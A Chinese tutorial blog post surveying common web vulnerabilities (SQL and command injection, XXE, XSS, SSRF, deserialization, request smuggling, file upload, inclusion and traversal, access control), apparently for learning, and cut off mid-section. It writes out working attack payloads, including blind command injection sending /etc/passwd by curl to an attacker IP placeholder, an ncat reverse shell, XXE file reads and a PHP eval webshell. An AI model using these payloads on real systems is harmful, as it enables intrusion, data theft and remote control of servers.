Web通用型漏洞简介

ashleyhilder37 云计算/大数据 24 次浏览 没有评论

本篇文章主要简单介绍一下(我能想到的)Web通用型漏洞(以OWASP体系为主,非组件引起的,可能出现在任何语言任何环境中的web漏洞)的原理以及简单的攻击者利用方式。注:看本篇文章不会学到任何新技术,但如果本篇文章里存在任何你感兴趣却不了解的技术,可以去其他地方查阅资料。当然文章中也有很多错误,也希望能获得指正。

文章目录

  • 注入
    • SQL注入
      • 基于利用方式分类
        • union回显注入
        • 报错回显注入
        • 布尔盲注
        • 延时盲注
      • 基于被攻击函数分类
        • select函数
        • insert函数
        • update函数
        • delete函数
        • like
    • 命令注入
      • Linux注入
        • Linux命令注入
        • Linux盲注
      • Windows注入
        • Windows命令注入
        • Windows盲注
    • XML注入
    • XSS
      • 存储型XSS
      • 反射型XSS
      • DOM型XSS
    • SSRF
    • 反序列化
    • 请求拆分/走私
  • 文件
    • 文件上传
      • 解析漏洞
        • Apache解析漏洞
        • IIS解析漏洞
        • Nginx安全配置错误
        • 00截断
      • 编辑器上传
      • 目录穿越
    • 文件包含
      • 本地文件包含
      • 远程文件包含
    • 文件下载
      • 目录遍历
      • 任意文件下载
  • 逻辑
    • 越权
      • 水平越权
        • Url数据包中直接传递信息查询接口
      • 垂直越权
        • 猜测高权限地址
        • Url中传递SessionID
        • Cookie中的SessionID可破解
        • 伪造高权限操作数据包
    • 支付逻辑
      • 金额/折扣修改
      • 购买负数
      • 请求重放
      • 金额溢出
    • 密码找回
      • 重置凭证泄露
      • 凭证接收端可篡改
      • 验证码爆破
      • 凭证可预测
      • 用户混淆
      • 验证码未校验
      • 部分逻辑前端控制
    • 注册逻辑
      • 任意/无限注册
      • 短信炸弹
      • 注册覆盖
    • Session
      • Session劫持
      • Session固定
  • 中间件
    • IIS服务器漏洞
    • Apache漏洞
    • Weblogic漏洞
    • Tomcat漏洞
    • Nginx漏洞
  • 猜解
    • 暴力破解
      • 基于破解方法
        • 彩虹表破解密文
        • 枚举破解口令
      • 基于破解内容
        • 密码的爆破
        • 库表的爆破
        • 目录的爆破
    • 弱口令
      • 数据库远程端口弱口令
      • 后台弱口令
      • 远程连接弱口令
    • 社会工程
      • 基于社会工程的钓鱼
      • 基于社会工程的口令爆破
    • 敏感系信息泄露
      • 内部账号密码泄露
      • 内部Url泄露
      • 配置文件泄露
      • robots内含敏感目录
      • web应用框架信息泄露
      • 备份泄露
        • 网站备份/数据库备份
  • 拒绝服务
    • DOS
    • DDOS
  • 欺骗
    • CSRF
    • 点击劫持
    • 重放攻击

注入

SQL注入

基于利用方式分类

利用方式决定了攻击者该如何获取我想要的信息,比如直接回显的攻击者可以通过一个payload直接获得想要的信息,而盲注往往需要通过非常多次的逻辑判断才能获得少量的信息。

union回显注入

union回显注入可以通过页面回显的内容直接返回想要查询的内容,如:

"select userInformation from users where id='"+getId+"';" 

首先需要通过其他方法得到当前表的列数,如使用order by判断,或union select+多列数据依次猜测。不仅仅要猜对列数,还要猜对每一列数据的类型,做到union前后数据类型和数量一致。最后构造payload如:

-1' union select 1,2,@@version,databases(),'5 

可成功利用,当然payload的构造方法有很多,但想要成功使用union回显的方式获得信息必须要满足以下几点:

  1. 页面对查询得到的内容直接按格式显示。
  2. 原sql语句不复杂(即union 添加的位置就是原语句的最后,后面没有其他的功能了,添加了union后只是返回的数据不一样了,web端还可以识别)

报错回显注入

报错注入是,web后台将数据库执行的sql语句结果不加检验的输出到前端页面中,即使sql语句执行错误,也会把报错信息输出。如:

"select userInformation from users where id="+getId+";" 

在输入id=1’时,就会报错:

You have an error in you SQL syntax; check the manual that correspinds to your MySQL server version for the right syntax to use near "id=1'" at line 1 

报错的原因是我们存在语法错误,但这种报错攻击者稍加利用,就会让数据库把攻击者想要的数据直接显示出来,构造payload:

1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a); 

将payload构造成上面的形式就会报如下错误:

error 1062 <23000>: Duplicate entry 'root@localhost' for key 'groupKey' 

可以看到,报错内容中包括了我们想知道的用户信息root@localhost,这是因为整个payload除了floor函数之外都符合语法信息,但之所以会报错就是因为floor函数使用不当,就会将相关内容以报错的形式显示出来。与floor类似的函数还有updatexml(),multipoint()等。

布尔盲注

有时页面并不会将攻击者想要的信息显示出来,但这并不影响sql注入的利用。假如页面对后台sql语句的返回结果又一种符合逻辑的显示,比如,sql语句返回成功(真)那么页面显示正常,sql语句返回失败(假)那么页面显示空或跳转(anyway,只要和成功时不一样就可以)。这样攻击者就可以根据这微量的不同来获取他想要的信息,如:

"select userInformation from users where id="+getId+";" 

假如返回结果为假时页面显示为空,返回结果为真时页面显示正常,攻击者可以利用这一点,构造类似下面的payload:

1' and length(@@version)>8 %23 

这句话的意图在于获得@@version版本字符串的长度,可以看出,假如长度大于8,那么原语句相当于:

select userInformation from users where id='1' and true; 

返回的结果和直接执行id=1是一样的,那么如果版本的长度没有8的话,就相当于id=‘1’ and false,返回的结果就是空的,页面什么也不会显示。类似这样每一条payload只能得到一个布尔信息,真或假,通过多次的“询问”数据库,攻击者可以获得他想要的信息,只要足够耐心的话。比如下面的payload用于“询问”版本的第一个字符:

1' and left(@@version,1)<'m' %23 

只要通过不断调整比较参数’m’和定位参数1的值,就可以得到完整的版本字符串。

延时盲注

当一个注入点无论后台sql语句执行返回结果正确与否都显示同样的内容时,延时注入可以派上用场。虽然页面的返回结果没有变化,但攻击者却可以利用sql语句的执行制造“变化”。比如通过延时类函数sleep()来让返回页面的时间发生变化来判断逻辑结果真或假。还是上面的例子:

"select userInformation from users where id="+getId+";" 

假如无论如何返回的页面都没有变化的话,可以构造如下延迟注入payload:

1' and if(length(@@version)>8,1,sleep(5)) %23 

如果@@version的长度大于8,则返回真,否则执行sleep(5),睡5秒。攻击者根据页面响应的时间就可判断逻辑语句的结果。当然进一步的payload构造和布尔逻辑类似,相应的可以“睡觉”的函数还有benchmark()等。

基于被攻击函数分类

被攻击函数的不同决定了构造payload的不同,有些函数比较常见,payload比较简单,有些函数语法复杂,需要非常多的调试才可完成攻击。

select函数

select函数出现在注入点中是最常见的,比如刚才一直举的例子就是典型的select函数,因为大部分sql注入都出现在需要向后台数据库查询数据的情况中。

insert函数

insert函数也会出现sql注入,通常是发布新文章,新博客,或创建新账户等等“新建数据”的功能中出现,和传统的select型注入相比,insert类注入的payload有很大的不同,比如下面的例子:

"insert into article values('"+articleId+"','"+articleTitle+"','"+"','"+articleAuthor+"','"+articleTime+"','"+articleContent+"'"); 

当正常发布一个文章的时候,就会向数据库的article表汇总插入一行数据,但假如攻击者在标题处构造如下payload:

title',@@version,'1','2'); %23 

也会向正常发布文章一样发布成功,但当攻击者查看文章的时候就可以在本该显示作者的位置上看见数据库版本,当然发布时间就会变成1,文章内容就是2。可以看出,主要payload的构造思路就是,首先猜测insert函数的values使用了几个参数还有每个参数的数据类型,并且简单的判断哪些是显示出来的。在使用payload的那一列之后的列都会被注释掉,所以攻击者会构造注释掉的列相同数量的数据数和数据类型,并在显示出的数据列处替换成想要获取的信息函数。

update函数

update函数出现注入的原理和insert查不到,场景也大同小异,就是修改文章或修改信息等等。

delete函数

delete函数也可能会出现sql注入,delete函数出现的场合大部分是和删除有关,比如删除文章,删除信息,删除某些发布的内容等等。delete函数的注入主要依赖报错,如下面例子:

"delete from users where userId='"+userId+"';" 

构造payload如下:

' or updatexml(1,concat(0x7e,(database()),0x7e),0) or ' 

updatexml函数也是报错常用的函数之一,使用updatexml函数构造错误,让想要得到的信息通过报错的方式显示出来,就是delete注入的基本思想。当然,上面的insert和update也可以通过报错的方式来注入。

like

like型的注入严格来说也属于select注入的一种,但like多出现与搜索处,常见的sql语句向下面的类型:

"select * from news where newsTitle like '%"+keyWord+"%';" 

构造的payload:

1' and length(@@version)>8 and ''=' 

最好在最后构造一个闭合来进行逻辑注入,因为不确定where()中有什么内容,所以粗暴的注释掉可能引起报错。另外,由于注入点的位置,like型的注入不能使用union。

命令注入

在一些业务场景下,web端通常需要通过调用系统命令的方式调用系统的功能或是调用系统安装的软件,如在线给图片加水印,在线ppt转pdf等等,如果调用系统命令相关的参数用户可控,那么这样的场景下,极易出现命令注入类漏洞。和传统的代码注入不同,命令注入主要针对的是操作系统的命令,所以分为Linux中的命令注入和Windows中的命令注入。但无论是linux系统还是windows系统下的命令注入,主要思路都是要么中断当前(正常)命令的执行然后执行注入的恶意代码,要么尝试使用和命令优先级有关的符号优先执行恶意代码,总之终极目标就是成功执行恶意命令。

Linux注入

Linux命令注入

LInux命令注入中可以尝试使用;,&或者管道符|来对注入点后拼接恶意命令。如:

$target = $_REQUEST[ 'host' ]; $cmd = shell_exec( 'ping  ' . $target ); 

这种逻辑通常出现在尝试判断目标主机是否存活的需求中,从用户处获得的host参数如果不加校验等的操作,就会出现命令注入,payload如:

www.baidu.com & cat /etc/passwd 

如果对百度的ping命令执行成功,就会执行cat etc/passwd,这对于可回显(不限于回显在页面中或数据包中)的情况来说是致命的,基本可以完成服务器当前用户权限下的所有操作。类似的,将&符替换为;或|也能达到目的。假如目标后台的代码逻辑复杂,可能存在引号之类的不方便判断与拼接的部分,可以尝试使用反引号`,在linux中,反引号引住的部分会优先执行。如:

$target = $_REQUEST[ 'host' ]; $cmd = shell_exec( 'ping "' . $target . '"'); 

在这个例子中,ping后的地址被引在了双引号内部,直接像刚才一样的&,‘,|都不能生效,这时尝试使用反引号`可以执行,如:

www.baidu.com `cat /etc/passwd` 

Linux盲注

在很多时候,web应用程序调用系统命令也是“悄悄地”调用,并不会将结果直接显示在前端页面或数据包中。如何判断注入点可能需要攻击者的直觉或是经验。就像上文提到的,根据业务逻辑判断,一些敏感的功能,web语言实现不了的,大概率是调用了系统命令。但如何利用注入点就是一个技术活了。还是刚才的例子,但这次假设并不在web端或数据包中显示结果:

$target = $_REQUEST[ 'host' ]; $cmd = shell_exec( 'ping  ' . $target ); 

攻击者可以尝试使用curl命令将输出结果post到攻击者的服务器上:

www.baidu.com `cat /etc/passwd | curl –F “:data=@-“ http://xxx.xxx.xxx.xxxx:xxxx/test.txt` 

除了curl之外,还有wget,telnet和ssh。除了将输出结果发送给其他服务器,也可以通过类似sql盲注的方式通过逻辑真和逻辑假来判断输出内容:

www.baidu.com & sleep $(hostname | cut -c 1 | tr a 5) 

这个命令后半部分的内容是,sleep 加一个参量,参量的值的计算是,首先执行hostname,假如结果是hack.com那么cut命令取第一个字符h,tr命令将a替换为5,当然h不是a所以没有替换,结果后半部分就变成了sleep h,sleep只能接数字,那么就会报错。假如如下命令:

www.baidu.com & sleep $(hostname | cut -c 1 | tr h 5) 

就不会报错,会睡眠5秒,攻击者就可以像sql延时盲注一样根据返回的时间来判断命令的输出内容了。甚至还直接可以尝试反弹sehll:

www.baidu.com; ncat -e /bin/bash xxx.xxx.xxx.xxx xxxx(攻击者ip和端口) 

所以,在后台“偷偷地”调用系统命令并不是一个安全的行为,一旦被人发现注入点,即使不显示结果,也是可以造成很大的危险的。

Windows注入

Windows命令注入

Windows命令注入的思路和Linux类似,都是尝试多命令执行,比如使用&&来执行恶意命令,还是上面的例子:

$target = $_REQUEST[ 'host' ]; $cmd = shell_exec( 'ping  ' . $target ); 

payload:

www.baidu.com && net user 

除了&&外,&,|都是可以充当命令连接符的。

Windows盲注

Windows下的命令盲注和Linux的思路也是类似的,要么通过输出重定向或dns等方法将输出内容发送到攻击者的服务器,要么直接尝试反弹shell。

XML注入

sml注入也叫xxe攻击,是发生在应用程序解析 XML 输入时,没有禁止外部实体的加载。简单的理解,一个实体就是一个变量,可以在文档中的其他位置引用该变量。而如果操作不当没有禁止外部实体的加载或对用户的输入没有严格校验就会给攻击者提供机会。攻击者发送精心构造的实体,可以达到不同的目的,比如读取任意文件,执行系统命令,扫描内网端口,dos等。比如下面是正常提交的数据包中的xml数据:

<creds>     <user>zhangsan</user>     <pass>ONDragon</pass> </creds> 

但如果此处存在xxe漏洞,攻击者构造下面payload,可以读取/etc/passwd文件中的内容:

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ONDragon [ <!ELEMENT ONDragon ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <creds>     <user>&xxe;</user>     <pass>ONDragon</pass> </creds> 

攻击者自己定义了一个外部实体,并且在下面的实体中引用它,从而实现了攻击,假如页面没有回显,也可以使用gopher协议或ftp等将文件内容发送给攻击者的服务器。除此之外还可以执行命令:

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ONDragon [ <!ELEMENT ONDragon ANY > <!ENTITY xxe SYSTEM "expect://whoami" >]> <creds>     <user>&xxe;</user>     <pass>ONDragon</pass> </creds> 

或者扫描端口之类的攻击,可以说非常危险的漏洞,造成的后果取决于攻击者想象力的那种。

XSS

XSS攻击又叫跨站脚本攻击,属于注入型漏洞的一种,主要成因是对用户的输入内容没有进行较好的过滤和审查。而导致用户输入恶意的JavaScript脚本,并(可能经过服务器)被受害者浏览器执行,从而完成攻击。 XSS(在之前)经常出现在Web应用中,也是web安全体系中非常重要的一种漏洞,连续多年登上OWASP TOP10。目前XSS主要分为三种,存储型XSS,反射型XSS和DOM型XSS。

存储型XSS

存储型XSS将用户输入的内容储存进入数据库,再经由其他函数取出输入至页面。存储型XSS攻击持久,影响范围广,多出现在留言板,评论区,在线提交作业系统,用户资料,反馈与浏览等富文本编辑器中。由于这类地方用户的输入需求字符集比较广,往往涉及“<,>,”,’,/”等,不能直接禁止和过滤,而如果又不对从数据库中取出的内容做有效的控制(如转换为纯文本,编码,),就会导致存储型XSS。

<tr>  <td align="right" class="trbg2" nowrap="">通知书邮寄地址:</td>  <td class="trbg" colspan="3"><input type="text" name="YJDZ" value="北京市昌平区xx小区" style="width:450px;" title="通知书邮寄地址"></td> </tr> 

如上段代码是个人信息中的“邮寄通知书地址”一项部分的HTML代码,可见“北京市昌平区xx小区”是用户自己填写并提交给网站保存在数据库中,数据库取出后显示在前端页面上的。但如果攻击者将“地址”填写为以下内容:

"><script>alert(1)</script> 

这段代码就会变成下面的样子:

<tr>  <td align="right" class="trbg2" nowrap="">通知书邮寄地址:</td>  <td class="trbg" colspan="3"><input type="text" name="YJDZ" value=""><script>alert(1)</script>" style="width:450px;" title="通知书邮寄地址"></td> </tr> 

虽然是由语法问题,但前面的这段脚本确实生效并弹窗了。假如script标签内部的不是alert(1)而是其他复杂的攻击代码,那么网站就会遭到攻击,常见的攻击脚本是获取被攻击者的cookie然后伪造其身份进行登录,或者进行键盘记录或内网扫描等操作。当然存储型XSS最著名也威胁最大的就是进行蠕虫攻击,蠕虫的特点是被攻击的用户还会继续发送蠕虫代码继续攻讦其他用户,在互联网这个环境中几乎可以迅速形成规模。

反射型XSS

反射型XSS和存储型不同,反射型XSS的攻击代码并不回传并存储进数据库中,反射型XSS的攻击代码提交给服务器之后,服务器处理(非数据库操作)后直接返回在前端浏览器,导致恶意代码插入到HTML页面中并且被浏览器执行。反射型XSS没有存储型XSS攻击范围那么广,但却可以利用钓鱼,结合CSRF等其他漏洞的方式变为针对特定目标的攻击,相比比存储型XSS攻击目标性更强。通常反射型XSS的恶意代码是通过URL传播的。

比如设想如下场景:一个页面显示某一个什么商品的详细信息,它的Url这个样子:

http://www.xxxshop.com/shop/detail.jsp?name=宏香记牛肉豆脯香辣味&id=239674..... 

当然还有一些别的什么参数,name参数的作用就是代表这个页面显示的商品的名字,当然决定显示哪件商品的可能是其他参数(如id)等等,然后在页面上如此显示出来:

<h1 data-spm="1000983">        宏香记牛肉豆脯香辣味 </h1> 

看似很正常的功能,但如果设计不当,就会造成反射型XSS,我们把“宏香记牛肉豆脯香辣味”替换为:

<script>alert(1)</script> 

那么Url和网页就变成了:

http://www.xxxshop.com/shop/detail.jsp?name=<script>alert(1)</script>&id=239674..... <h1 data-spm="1000983">       <script>alert(1)</script> </h1> 

点击这个Url打开网页就会弹窗。当然,我们可以将alert换成其他的js代码,比如一些稍微复杂一些的获取用户cookie的代码。之后再如下场景:

A:Hi,我发现一款牛肉豆脯很好吃,只是它的天猫连接: http://www.xxxshop.com/shop/detail.jsp?name=<script>攻击代码</script>&id=239674..... B:是吗?我看看(点击了连接) 

B点击了连接之后,B的cookie就会被发送到A的服务器上,A有了B的cookie就可以使用B的身份登录商城花他的钱购物。当然配合一些其他漏洞还可能实现浏览器劫持等更高级复杂的攻击。

DOM型XSS

DOM型XSS同样不经过数据库的存取过程,恶意代码通常也是通过URL传播,但与反射型XSS不同点在于,DOM型XSS不经过服务器,恶意代码被前端页面的操作DOM的脚本直接插入到HTML页面中,DOM型XSS也可配合一些其他的攻击比如HTTP拆分攻击达到持久性的影响单一用户的效果。

DOM型XSS的利用场景和反射型类似,同样都是钓鱼的形式,但同时因为没有存储型XSS存入数据库的特点,DOM型和反射型没有长期有效的特点,但因为不经过服务器的优势,DOM型通常不需要过滤太多的内容或在构造payload时没有那么多的限制。

SSRF

服务器不单单是处理客户端的请求,在有些场景下,服务器也需要发起请求,然后处理请求返回的资源,再将资源返回给客户端。比如从其他url地址获取文本,图片,文件等内容的时候,或者在线翻译,在线转码等在线进行某些功能操作(需要服务器访问功能所在地址)。但如果对用户“输入”的内容没有进行严格的检验的话,就很容易形成SSRF漏洞,用户输入精心构建的数据,让服务器去请求其他资源,如访问内网资源甚至扫描内网(收集内网主机信息,内网服务器),利用服务器对内网中的目标进行攻击。总而言之。 SSRF漏洞就是通过篡改获取资源的请求发送给服务器,但是服务器并没有发现在这个请求是合法的,然后服务器以他的身份来访问其他服务器的资源。

String url = request.getParameter("url"); String downLoadImgFileName = Files.getNameWithoutExtension(url)+"."+Files.getFileExtension(url); response.setHeader("content-disposition", "attachment;fileName=" + downLoadImgFileName); URL u; int length; byte[] bytes = new byte[1024]; u = new URL(url); inputStream = u.openStream(); outputStream = response.getOutputStream(); while ((length = inputStream.read(bytes)) > 0) { outputStream.write(bytes, 0, length); 

这是一个未加防护的ssrf漏洞代码, 将用户提交的url文件显示出来。而且也没有进行输入检查,可以说危害很严重,攻击者可以通过如下方式发起攻击:

使用file查看本地文件 http://a.com/download?url=file:///etc/passwd 

除此之外,在一些其他场景下,攻击者还可能使用dict协议扫描端口,或使用gopher协议进行反弹shell,以及使用其他的协议完成多种不同功能的攻击。

反序列化

序列化就是将一个类进行序列化存储成二进制文件,然后再将该文件进行反序列化再变成对象。可以理解为一个对象的存储过程。在反序列化过程中,用到了readObject()方法,如果readObject方法被反序列化的类重写,虚拟机在反序列的过程中,会使用被反序列化类的readObejct方法。 如下面的类:

public class user implements Serializable {  private String name;     public String getName()     {         return name;     }     public void setName(String name)     {         this.name=name;     } } 

使用下面代码将这个类进行序列化和反序列化:

public void run() throws IOException  {     FileOutputStream out=new FileOutputStream("bin.bin");     ObjectOutputStream obj_out=new ObjectOutputStream(out);     user u=new user();     u.setName("zhangsan");     obj_out.writeObject(u); } public void run2() throws IOException, ClassNotFoundException {     FileInputStream in=new FileInputStream("bin.bin");     ObjectInputStream ins=new Object InputStream(in);     user u=(user)ins.readObject();     System.out.println(u.getName()); } 

但假如在user类中重写了readObject()方法:

public class user implements Serializable {  private String name;     public String getName()     {         return name;     }     public void setName(String name)     {         this.name=name;     }     private void readObject(java.io.ObjectInputStream in) throws ClassNotFoundException, IOException     {      in.defaultReadObject();      Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/Mac05/Calculator");     } } 

对readObject()方法进行了重写,在方法中,启动系统中的计算器。那么,在进行反序列化的过程中,计算器就会被弹出,当然攻击者一般不会调用计算器来攻击,攻击者会执行一些更为危险的命令。在实际漏洞中的攻击行为比这个例子复杂的多,因为大部分开发者不会直接在readObject()方法中调用命令,所以攻击者通常需要构造利用java的反射机制反射链来执行命令。

请求拆分/走私

HTTP请求拆分也叫HTTP头注入,CRLF注入。是将HTTP协议中插入CRLF,以截断HTTP字段,在其中插入重复的或新的字段或数据包,以欺骗后端解析。HTTP请求拆分是一个达到目的的手段,而它本身不是一个目的。它直截了当的根本:攻击者发送恶意数据给目标服务器,目标服务器按照既定规则进行数据检验时错过了一些内容导致脏数据”暗度陈仓“绕过了服务器的一些安全规则,可以根据具体例子说明:

POST http://SITE/foobar.html HTTP/1.1 Host: SITE Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Content-Length: 0 Content-Length: 44 [CRLF] GET /poison.html HTTP/1.1 Host: SITE Bla: [space after the "Bla:", but no CRLF] GET http://SITE/page_to_poison.html HTTP/1.1 Host: SITE Connection: Keep-Alive [CRLF] 

攻击者发送这样的数据包,注意在第一个数据包后有两个Content-Length字段,代理(防火墙,IDS等)可能会识别第二哥Content-Length而丢弃第一个,它认为数据包的长度是44,到BLA字段截止,而接下来的:

GET http://SITE/page_to_poison.html HTTP/1.1 Host: SITE Connection: Keep-Alive [CRLF] 

是第二个数据包,但web服务器不这样认为,web服务器认为第一个Content-Length是实际的长度,而接下来的

GET /poison.html HTTP/1.1 Host: SITE Bla: [space after the "Bla:", but no CRLF] GET http://SITE/page_to_poison.html HTTP/1.1 Host: SITE Connection: Keep-Alive [CRLF] 

是两个数据包(或一个数据包,不过这都无所谓,对攻击者而言主要的是第二个数据包逃过了防火墙的检测而被web服务器识别了)。这样其中就有一个数据包被“走私”在了一个数据包之中。

文件

文件上传

文件上传漏洞是指用户上传了一个可执行文件,并通过此脚本文件获得了执行服务器端命令的能力。文件上传这种攻击方式是最为直接和最为有效的,当然对服务器来说也是最为危险的。“文件上传”本身并没有问题,有问题的是上传后服务器怎么处理,怎么解释文件,如果服务器的处理逻辑不够安全,则会导致严重的后果。

文件上传漏洞通常是web漏洞中非常高危的存在,因为黑客上传木马或shell通常最后一步就是发现一个上传功能并尝试寻找匹配的上传漏洞。一旦sehll成功上传,那么可以说整个网站基本已经失守,文件上传点也可以看成是网站的至关重要一关也不为过,关于上传漏洞的攻击思路主要是绕过文件上传的检验(包括前端检验,waf检验和后端处理),找到上传文件的位置和成功执行。

解析漏洞

解析漏洞一般用来绕过waf的检验和后端的处理,因为正常的webshell在很多情况无法成功上传,比如waf会对后缀名是可执行类的文件进行拦截。而如果不以可执行的后缀名上传,就无法执行,所以攻击者就会找到中间件存在的解析漏洞,修改后缀名再上传,从而同时达到即绕过了waf的检测,有利用中间件的解析漏洞成功解析执行木马文件的目的。

Apache解析漏洞

多后缀名

假如一个文件有多个后缀名,如shell.php.jpg.mp3在windows中,毫无疑问就是一个mp3文件,但在Apache中不一样,Apache会将一个文件的后缀从后往前(从右往左)依次尝试解析,换句话说,Apache如果认识最后一个后缀,那么这个文件就是这个后缀类型,如果不认识,就会向前看下一个后缀。比如shell.php.sfg.aix这样的文件,Apache首先会看这是个.aix类型的文件,这是什么,不认识,继续往前看,.sfg又不认识,再往前开,.php这次认识了,那这个文件就会被当做php文件对待。

罕见后缀

不仅仅是php会在apache下执行,还有其他的非常久远测曾经使用过的后缀现在依然可以被Apache承认,包括phtml、pht、php3、php4和php5都是Apache和php认可的php程序的文件后缀。

IIS解析漏洞

目录名不当

在IIS5.x到iis6.0的版本中,如果创建一个以.asp结尾的目录或.asa结尾的目录,那么目录下所有的文件都会被当做asp脚本执行。

分号截断

如果上传文件命名为这样:shell.asp;.jpg那么服务器会将它当做asp脚本执行。

Nginx安全配置错误

Nginx如果在PHP CGI选项配置不当会造成解析漏洞,解析漏洞不好描述,用下面的例子来说明:

假如木马文件shell.php以图片的形式上传,就是shell.jpg,那么尝试访问它:

www.abc.com/upload/shell.jpg 

那服务器就会认为访问的是一张图片,而又打不开这张图片而已,但如果用如下方式访问:

www.abc.com/upload/shell.jpg/1.php 

就会被服务器当成php文件执行。

00截断

00截断是可能出现在任何中间件中的漏洞,与其说是漏洞,倒不如说是一种手段,因为00截断虽然使用方法大同小异,但成功利用的场景却又很大不同,有时是用来绕过waf等的检测,有时是用来破除后端重命名的逻辑,但具体思路都是一样的,利用某些软件对字符串结束符(ASCII0)的判断,来在文件名中插入%00(或抓包再数据包中插入空字符ascii0)来绕过处理逻辑。比如,上传shell.jsp%00.jpg在上传时waf可能会认为这是一个jpg图片,但传到了服务器上,服务器将其转存到目标目录下的过程中,会进行文件名的复制等操作,很可能就会抛弃%00后面的字符,进而传入目录就变成了shell.jsp,被当做jsp执行。当然也有在Apache服务器中上传含有空字符的文件名的文件,之后使用%00去访问来绕过waf的情况存在。

编辑器上传

很多网站使用了网站编辑器,这样能使管理员更方便的管理网站,但使用编辑器会成为攻击者的目标。在前几年,编辑器是热门的攻击目标。常见的编辑器有fckeditor,ewebeditor,kindeditor等,比如fckeditor可谓漏洞百出,比如下面的路径可以上传文件:

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/ 

攻击者只是需要突破一下可能出现的后缀检验或waf就可以成功上传webshell。当然其他的编辑器的攻击方式也是类似,只是确定了使用的版本,然后根据对应的漏洞尝试访问不同功能的页面实现攻击。

目录穿越

假如上传到的目录(如/upload目录)没有执行权限,就算成功利用之前的漏洞将webshell上传了上去也无法执行,那么攻击者可能会尝试使用目录穿越来突破限制,假如目标网站的结构如下所示:

/config/ /js/ /css/ /image/ /admin/ /index.php 

image目录用来保存上传的图片,但没有执行权限,如果攻击者上传了一个文件名为…/shell.php的文件,就有可能穿越到上层目录,直接传到了根目录下,根目录有执行权限从而被成功执行。

文件包含

程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这中文件调用的过程一般被称为文件包含。程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。几乎所有脚本语言都会提供文件包含的功能,但文件包含漏洞在PHP中居多,而在JSP、ASP、ASP.NET程序中却非常少,甚至没有,这是有些语言设计的弊端。在PHP中经常出现包含漏洞,但这并不意味这其他语言不存在。

本地文件包含

文件包含漏洞的产生原因是在通过引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过合理的校验,或者校验被绕过,从而操作了预想之外的文件,就 可能导致意外的文件泄露甚至恶意的代码注入。 当被包含的文件在服务器本地时,就形成的本地文件包含漏洞。比如下面这段代码:

<?PHP $file=@$_GET['name']; if($file){  include $file; } ?> 

包含的文件名是用户可控的,那么假如(通过其他功能,如上传头像)上传了一个图片木马(甚至无需上传漏洞),图片中包含如下代码:

<?php @eval($_POST['cmd'])?> 

那么使用菜刀访问下面的连接,一句话木马就会被成功执行:

http://www.abc.com/fileupload/include.php?name=1.txt 

除此之外,还可以使用一些其他的协议,比如php file read来读取任意文件。

在jsp中,文件包含通常是以下函数引起的,利用方法与php类似:

静态包含: <%@include file="top.jsp" %> 动态包含:<jsp:include page="top.jsp" /> 

远程文件包含

被包涵的文件在第三方服务时,就形成了远程文件包含漏洞。 如果有远程文件包含漏洞,那是非常危险的,攻击者甚至不需要上传图片木马,只需将木马放在自己的服务器上,然后使用文件包含漏洞包含它,就会执行恶意代码:

http://www.abc.com/fileupload/include.php?name=http://www.zxc.com/1.txt 

文件下载

目录遍历

严格来说目录遍历并不是一种web漏洞,而是一种设计上的漏洞,如果web网站没有给到恰当的访问控制,允许http遍历,攻击者就可以访问受限的目录,这里目录不仅仅是指web根目录下的敏感目录(如配置文件所在目录,备份文件等)更是包括web根目录更上层的系统目录,甚至访问系统文件,访问命令文件执行系统命令等。攻击者通过目录控制符…/访问到敏感目录,遍历更高层目录执行系统命令,甚至使系统崩溃。

路径遍历漏洞主要出现在对Web应用程序的文件读取交互的功能块,比如:

http://www.abc.com/test/file.jsp?filename=fan.pdf 

直接看url也能猜到,这是一个查看pdf文件的页面,但如果对文件来源没有做范围的限制,攻击者通过下面的url就可以访问到系统文件。

http://www.abc.com/test/file.jsp?filename=../../../../../../../etc/passwd 

还有一种目录遍历是服务器配置不到造成的,以至于用户直接访问根目录下的目录可以浏览,也就是说用户可以像访问文件系统一样访问根目录下的全部资源。

任意文件下载

任意文件下载和目录遍历类似,都是在文件操作时对参数的影响范围没有做好限制造成的。只不过区别就是任意文件下载是在下载功能处出现的。类似得,假如下面url是一个网站的下载功能:

http://www.abc.com/down/download.jsp?filename=1.pdf 

那么使用…/等字符可以尝试下载任意文件,无论是下载系统中的敏感文件或是网站根目录下的敏感文件(配置文件等)都是非常危险的。

逻辑

越权

水平越权

水平权限漏洞一般出现在一个用户对象关联多个其他对象(订单、地址等)时,但web只是提供给用户查询其他对象的接口并由用户自己输入参数查询。由于这种接口一般默认只有通过权限认证(登录)之后才可以访问,所以并没有进行二次认证,这就可能造成水平越权漏洞。

Url数据包中直接传递信息查询接口

由于大部分对象的id都是自增设置,导致攻击者可以通过遍历的方式查看大量的信息,其中自然包括很多其他用户的隐私信息。获取了这些隐私信息对攻击者的接下来的攻击提供相当大的便利,无论是电子诈骗或社会工程来说都是非常有价值的。比如:

www.abc.com/web/getaddress.jsp?addid=2746&...... 

这个url可能是获取地址的url,假如攻击者遍历addid这个参数,就有可能获取更多用户的地址,而地址信息对于用户来讲,已经可以算是非常隐私的信息了。

和上面的例子类似,只要关键的接口(参数)对于用户来说没有做好权限的验证,那么攻击者就有机可乘。有些参数不是写在url中,而是在数据包中,比如post的形式发送的参数,如果后端没有进行权限校验并且参数形式简单(如自增,数字等)那么就会被遍历。一般简单的编码(base64)也可能会被攻击者识破,从而被破解。

垂直越权

垂直越权又叫做权限提升攻击, 是一种纵向的基于角色控制的越权操作。简单的说,垂直越权即低权限的角色通过一些途径,获得高权限的能力,就发生了越权访问。

猜测高权限地址

有些开发者在后台并没有设置访问控制,但也没有在web站点中暴露后台访问的入口,以为这样别人不知道就“万无一失”了。其实不然,如果被攻击者猜到是非常危险的,除此之外,搜索引擎爬虫也可能在不经意间(比如管理员使用搜索引擎的连接进入网站后台,被爬虫记录到)爬取到后台的地址,进而暴露在搜索结果上。

